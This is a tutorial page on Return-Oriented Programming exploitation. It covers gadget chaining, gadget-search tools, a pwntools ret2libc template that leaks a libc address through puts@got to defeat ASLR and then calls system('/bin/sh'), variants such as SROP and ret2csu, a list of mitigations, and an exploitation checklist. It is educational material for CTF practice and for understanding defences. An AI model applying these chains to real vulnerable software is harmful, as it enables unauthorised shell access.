Skip to content

Return-Oriented Programming (ROP)

When the stack isn’t executable (NX/DEP enabled), you can’t put shellcode and jump to it. The solution is ROP: instead of injecting new code, you reuse pieces of code that already exist in the binary or in libc. Those pieces, called gadgets, are short sequences ending in ret; chaining them on the stack you build the logic you want (put arguments in registers, call system, make a syscall) without injecting a single new instruction.

# a gadget is a sequence ending in ret, e.g.:
pop rdi ; ret # pops the next stack value into RDI, and returns
# by controlling the stack (via overflow), you control which "returns" you chain:
[ pop rdi; ret ][ "/bin/sh" ][ system ]
# effect: RDI = "/bin/sh", then call system -> shell

Each ret jumps to the next gadget whose address you placed on the stack. It’s “programming” with returns.

ROPgadget --binary ./vuln # list all gadgets
ROPgadget --binary ./vuln | grep "pop rdi"
ropper --file ./vuln --search "pop rdi"
# in gdb (pwndbg): rop ; ropgadget

The most sought (calling convention, see x86-64 Assembly): pop rdi; ret, pop rsi; ret, pop rdx; ret, ret (for alignment).

The most common ROP: use libc functions (which is linked) to spawn a shell.

from pwn import *
e = ELF('./vuln'); libc = ELF('./libc.so.6')
# after a libc LEAK (bypass ASLR), compute addresses:
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = 0x... # gadget from the binary
rop = flat(
b'A'*offset,
pop_rdi, binsh, # RDI = "/bin/sh"
ret_align, # stack alignment (movaps in modern libc)
system # system("/bin/sh")
)

With ASLR, the libc base changes each run. First you leak a libc address (e.g. printing a GOT entry with puts), compute the base, and from it the system//bin/sh addresses:

# 1st ROP: leak -> puts(puts@got) to leak the real address of puts
rop1 = flat(b'A'*offset, pop_rdi, e.got['puts'], e.plt['puts'], e.symbols['main'])
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']
# 2nd ROP: with libc_base, ret2libc to system("/bin/sh")
ret2syscall chain gadgets to make an execve("/bin/sh") syscall directly
(set RAX=59, RDI=binsh, RSI=0, RDX=0 ; syscall)
SROP Sigreturn-Oriented: abuse sigreturn to set ALL registers
ret2csu use the __libc_csu_init gadget to control more registers
one_gadget a single libc address that spawns a shell (if conditions hold)
stack pivoting move RSP to controlled memory when the overflow is small
pwntools ROP() build ROP chains automatically: rop.call('system', [binsh])
ROPgadget / ropper find gadgets
one_gadget libc.so.6 find the magic gadget
ropemporium.com the reference site to practice ROP step by step
  • CFI (Control-Flow Integrity) and shadow stacks (Intel CET): hinder chaining arbitrary gadgets/returns.
  • Strong ASLR + PIE: without a leak, there’s no reliable ROP; avoid leaks (don’t print pointers).
  • Full RELRO (read-only GOT) closes GOT overwriting; stack canaries.
  • Reduce useful gadgets (compilation, -fcf-protection); memory-safe languages.
  • Confirm NX (checksec) → ROP needed
  • RIP control via overflow (known offset)
  • Find gadgets (ROPgadget/ropper): pop rdi/rsi/rdx
  • Libc leak (bypass ASLR) and base computation
  • ret2libc: system(“/bin/sh”) or ret2syscall execve
  • Stack alignment (extra ret) in modern libc
  • one_gadget / SROP / ret2csu if it fits
  • Shell/flag locally → remote